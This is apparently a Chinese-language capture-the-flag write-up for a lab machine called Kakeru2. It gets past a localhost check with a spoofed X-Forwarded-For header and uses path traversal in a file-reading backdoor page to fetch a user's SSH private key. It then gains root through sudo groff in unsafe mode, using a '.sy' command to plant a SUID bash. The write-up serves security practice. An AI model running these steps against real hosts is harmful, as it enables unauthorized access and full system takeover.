

kakeru2

1. 发现22, 80端口

查看web源码, 提示后门, 并给了疑似用户名guayu

```
<!--  
你们的“安全系统”？不堪一击。 ;)   
为了方便我下次“回来看看”, 我留下了点东西  
-guayu  
-->
```

2. 目录发现

gobuster扫描出secret.php, 直接访问报错, 但给出“本地请求”提示。

403 Forbidden

You don't have permission to access this resource.

Maybe I only trust requests from localhost?

添加请求头, 得到正常页面响应。

curl "<http://172.20.10.2/secret.php>" -H "X-Forwarded-For: 127.0.0.1"
并获知参数名为filename

```
(kali㉿kali)-[~]  
$ curl "http://172.20.10.2/secret.php" -H "X-Forwarded-For: 127.0.0.1"  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
  <meta charset="UTF-8">  
  <title>Guayu 的秘密文件通道</title>
```

```

<body>

<h1>Guayu 的秘密文件通道</h1>
<div class="congrats">
  <p><span class="highlight">恭喜你</span>你成功通过了第一道验证，找到了这个由 Guayu 精心留下的后门！</p>
  <p>请小心使用，并非所有门都为你敞开...</p>
</div>

<p>当前识别的访问源：<span class="highlight">127.0.0.1</span>（已授权）</p>

<div class="container">
  <h2>内部文件探测器 v2.0 </h2>

  <p>输入文件的相对路径（相对于此脚本位置）或某些特定服务的已知路径。请注意，此工具内置了一些基本的<span class="highlight">路径安全检查</span>。</p>

  <form method="GET" action="/secret.php">
    <label for="filename">目标文件:</label>
    <input type="text" id="filename" name="filename" placeholder="例如：welcome.txt 或 config/settings.ini" autocomplete="off" value="">
  >

    <input type="submit" value="[ 探测文件 ]">
  </form>

```

3. 信息获取

```
curl "http://172.20.10.2/secret.php?filename=secret.php" -H "X-Forwarded-For: 127.0.0.1"
```

得知以下规则均被过滤：

```

'/' 开头
'../' 开头
禁止 '\'
禁止 '/'
禁止 '...'
禁止 ':/'

```

```

if (isset($_GET['filename'])) {
    $filename = $_GET['filename'];

    if (
        substr($filename, 0, 1) === '/' ||
        substr($filename, 0, 3) === '../' ||
        strpos($filename, '\\') !== false ||
        strpos($filename, '/') !== false ||
        strpos($filename, '...') !== false ||
        strpos($filename, ':/') !== false
    ) {

```

```

curl "http://172.20.10.2/secret.php?filename=../../../../../../home/guayu/.ssh/id_rsa" -H "X-Forwarded-For: 127.0.0.1"

```

获得guayu用户私钥，ssh登录即可：ssh [guayu@172.20.10.2](http://172.20.10.2) -i rsa_guayu

```
guayu@Kakeru2:~$ cat user.txt
flag{Gu4yu_g0t_th3_f1rst}
```

4. 提权

sudo -l 发现groff

'-U' 是非安全模式，感觉可用。

```
guayu@Kakeru2:~$ /usr/bin/groff -h
usage: /usr/bin/groff [-abceghijklpstvzCEGNRSUVXZ] [-dcs] [-ffam] [-mname] [-nnum]
                  [-olist] [-rcn] [-wname] [-Darg] [-Fdir] [-Idir] [-Karg] [-Larg]
                  [-Mdir] [-Parg] [-Tdev] [-Wname] [files...]

-h      print this message
-v      print version number
-e      preprocess with eqn
-g      preprocess with grn
-j      preprocess with chem
-k      preprocess with preconv
-p      preprocess with pic
-s      preprocess with soelim
-t      preprocess with tbl
-G      preprocess with grap
-J      preprocess with gideal
-R      preprocess with refer
-a      produce ASCII description of output
-b      print backtraces with errors or warnings
-c      disable color output
-dcs     define a string c as s
-ffam    use fam as the default font family
-i       read standard input after named input files
-l       spool the output
-mname   read macros tmac.name
-nnum    number first page n
-olist   output only pages in list
-rcn     define a number register c as n
-wname   enable warning name
-z       suppress formatted output
```

```
-wname  enable warning name
-z      suppress formatted output
-C      enable compatibility mode
-Darg   use arg as default input encoding.  Implies -k
-E      inhibit all errors
-Fdir   search dir for device directories
-Idir   search dir for soelim, troff, and grops.  Implies -s
-Karg   use arg as input encoding.  Implies -k
-Larg   pass arg to the spooler
-Mdir   search dir for macro files
-N      don't allow newlines within eqn delimiters
-Parg   pass arg to the postprocessor
-S      enable safer mode (the default)
-Tdev   use device dev
-U      enable unsafe mode
-V      print commands on stdout instead of running them
-Wname  inhibit warning name
-X      use X11 previewer rather than usual postprocessor
-Z      don't postprocess
```

通过AI，得知以下内容：

.sy 是 **roff** (groff 使用的排版语言) 中的一个特定请求 (**request**) 或宏 (**macro**)，它的作用是告诉 **groff** (或者更准确地说是其核心处理程序 **troff**) 将其后的字符串作为系统命令 (**system command**) 来执行。

编写以下payload，执行即可。

```
guayu@Kakeru2:~$ echo '.sy cp /bin/bash /tmp/to_root ; chmod 4755 /tmp/to_root' > /tmp/a.roff
guayu@Kakeru2:~$ sudo /usr/bin/groff -U /tmp/a.roff
guayu@Kakeru2:~$ ls -al /tmp/to_root
-rwsr-xr-x 1 root root 1168776 Jun  4 04:48 /tmp/to_root
guayu@Kakeru2:~$ /tmp/to_root -p
to_root-5.0# cat /root/root.txt
flag{c0ngr4tu14t10ns_y0u_h4v3_r00t3d_K4k3ru2!}
```